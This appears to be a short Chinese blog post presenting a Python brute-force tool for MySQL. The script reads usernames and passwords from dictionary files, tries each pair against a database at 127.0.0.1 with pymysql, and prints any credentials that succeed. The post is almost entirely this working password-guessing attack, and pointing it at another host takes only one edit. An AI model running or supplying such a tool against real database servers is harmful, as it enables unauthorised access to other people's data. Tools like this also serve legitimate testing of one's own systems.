python编写数据库爆破工具

"""
数据库爆破
"""
import pymysql

ff = open("dic/user.txt",'r')
user = ff.readline().strip()
while user:
    with open("dic/password.txt",'r') as f:
        password = f.readline().strip()
        while password:
            try:
                conn = pymysql.connect(host='127.0.0.1',user=user,password=password)
                print("爆破成功,用户名:%s ,密码为:%s"%(user,password))
                break
            except:
                pass
            password = f.readline().strip()
    user = ff.readline().strip()

python编写数据库爆破工具_第1张图片

你可能感兴趣的:(python小脚本,python)